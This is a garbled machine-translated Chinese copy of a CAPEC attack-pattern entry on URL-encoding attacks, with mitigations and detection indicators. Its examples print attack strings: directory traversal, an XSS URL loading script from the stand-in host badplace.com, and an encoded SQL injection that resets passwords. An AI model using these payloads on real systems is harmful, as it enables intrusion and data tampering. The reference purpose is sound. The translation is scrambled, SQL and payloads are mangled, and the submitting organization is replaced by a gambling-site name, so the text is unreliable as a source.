描述
这种攻击目标的编码的URL。敌人可以利用多种方式编码的URL和滥用的解释URL。
扩展描述
URL可能包含特殊字符处理需要特殊的语法来解释。特殊字符表示使用百分比字符后跟两位数字代表八隅体代码的原始字符(% HEX-CODE)。
例如us - ascii空格字符将用% 20表示。这通常称为转义结束或百分比编码。由于服务器解码从请求URL,它可能会限制访问一些URL路径通过验证和过滤URL请求。敌人将尝试工艺具有一系列特殊字符的URL曾经由服务器解释将相当于一个禁止的URL。
很难抵御这种攻击自编码的URL可以包含其他格式如utf - 8编码,unicode编码等。对手也可以颠覆意义的请求URL字符串编码数据通过GET请求被发送到服务器。例如敌人可能颠覆意义的参数用于SQL请求和发送通过URL字符串(参见示例部分)。
攻击的可能性
典型的严重性
执行流程
探索
调查的web应用程序的url参数:使用一个浏览器,一个自动化工具或通过检查应用程序,敌人记录所有url包含参数。
技术 |
使用搜索工具跟踪和记录所有的链接和分析网页找到入口点。特别注意任何链接,包括参数的URL。 |
实验
探针的url来定位漏洞:对手使用url聚集在“探索”阶段作为目标和测试参数列表不同特殊字符编码的web应用程序将如何处理它们。
技术 |
使用URL编码等特殊字符的分号,反斜杠或问号正常可能过滤掉。 |
结合使用URL编码与其他编码技术,如三相点和逃避斜杠。 |
利用
注入特殊字符的URL参数:利用收集的信息在“实验”阶段,敌人注入特殊字符使用URL编码的URL。这可能导致路径遍历,跨站点脚本、SQL注入等。
先决条件
应用程序应该接受和解码URL输入。 |
在应用程序执行url过滤/规范化不足。 |
技能要求
(等级:低) 敌人可以特殊字符的URL和URL绕过验证。 |
(级别:中等) 对手可能编写一个脚本失败输入过滤机制。 |
指标
如果第一个解码过程留下了一些无效或denylisted字符,这可能是一个信号,表明该请求是恶意的。 |
流量过滤与id(或代理)可以检测请求可疑的url。id可能使用基于签名的识别揭示这种基于URL的攻击。 |
后果
这个表指定不同的个体与攻击模式相关的后果。范围确定违反了安全属性,而影响了负面的技术影响,如果敌人成功的攻击。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能有高可能性模式将被用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 |
影响 |
可能性 |
保密 |
读取数据 |
|
可用性 |
资源消耗 |
|
保密
完整性
可用性 |
执行未经授权的命令 |
|
保密
访问控制
授权 |
获得特权 |
|
缓解措施
参考rfc安全地解码URL。 |
可以使用正则表达式来匹配安全URL模式。然而,这可能丢弃有效的URL请求如果正则表达式限制太多。 |
有工具扫描等有效的URL的HTTP请求到服务器URLScan禁止从微软(http://www.microsoft.com/technet/security/tools/urlscan.mspx)。 |
任何应该进行安全检查后,数据被解码和验证为正确的数据格式。不重复解码过程,如果坏字符解码过程后,把数据当作可疑,验证过程失败。 |
假设所有的输入是恶意的。创建一个定义所有有效allowlist输入软件系统根据需求规格说明书。输入不匹配allowlist不应被允许进入系统。测试你对恶意输入解码过程。 |
意识到威胁的替代方法的数据编码和模糊技术,如IP地址编码。(见相关指南部分) |
当客户端输入需要从网络形式,避免使用“GET”方法来提交数据,方法使表单数据附加到URL和很容易操纵。相反,尽量使用“POST方法。 |
例子,实例
URL编码IceCast MP3服务器。 以下类型的编码的字符串已被遍历目录IceCast MP3 server9:
[targethost] http://: 8000 / somefile / e / target.mp3 % 2 e % 2 或使用
“/ % 25 / 25%”而不是“/ . . /”。 控制字符“. .”可以被敌人用来逃避文档根。 参见:cve - 2001 - 0784 |
跨站点脚本编制
url编码的攻击:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e
HTML执行:< script src = " http://www.badplace.com/nasty.js " > < /脚本> (ref - 495] |
SQL注入
原始数据库查询的示例文件——“用户名”:SQLQuery = "从logintable选择偏好,用户id =”“& Request.QueryString(“标识”)和“”和密码=”“& Request.QueryString(“密码”)和“”;“
url编码的攻击:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00
执行数据库查询:从logintable选择偏好,用户id =“鲍勃”;更新logintable设置密码= 0 wn3d”; 从“URL编码的攻击”,通过甘特•——http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html |
结合编码CesarFTP 亚历山大·塞萨里发布了一个免费的FTP服务器在Windows无法提供适当的过滤与多个编码。CesarFTP FTP服务器,包括一个Web服务器组件,可以攻击triple-dot和URL编码的组合攻击。 敌人可以提供一个URL,包括一个字符串
5 c / /…% 这是一个有趣的开发,因为它涉及到一个聚合的几个技巧:转义字符的URL编码和三相点。 参见:cve - 2001 - 1335 |
分类法映射
CAPEC映射ATT&CK技术利用一个继承模型简化和减少直接CAPEC / ATT&CK映射。继承的映射表示文本说明父CAPEC有相关ATT&CK映射。注意,ATT&CK企业框架不使用一个继承模型的一部分映射到CAPEC。
引用
[REF-1] g·霍格伦德和g·麦格劳。“利用软件:如何打破代码”。addison - wesley。2004 - 02。 |
|
|
|
|
|
|
内容的历史
提交 |
提交日期 |
提交者 |
组织 |
2014-06-23
(版本2.6) |
CAPEC内容团队 |
manbetx客户端首页 |
|
修改 |
修改日期 |
修饰符 |
组织 |
2017-01-09
(版本2.9) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Related_Attack_Patterns |
2018-07-31
(版本2.12) |
CAPEC内容团队 |
manbetx客户端首页 |
更新的引用 |
2020-07-30
(版本3.3) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Example_Instances指标,移植 |
2021-06-24
(版本3.5) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Related_Weaknesses |
2022-02-22
(版本3.7) |
CAPEC内容团队 |
manbetx客户端首页 |
更新描述、Example_Instances Execution_Flow、Extended_Description Skills_Required |
2022-09-29
(版本3.8) |
CAPEC内容团队 |
manbetx客户端首页 |
更新Example_Instances |
|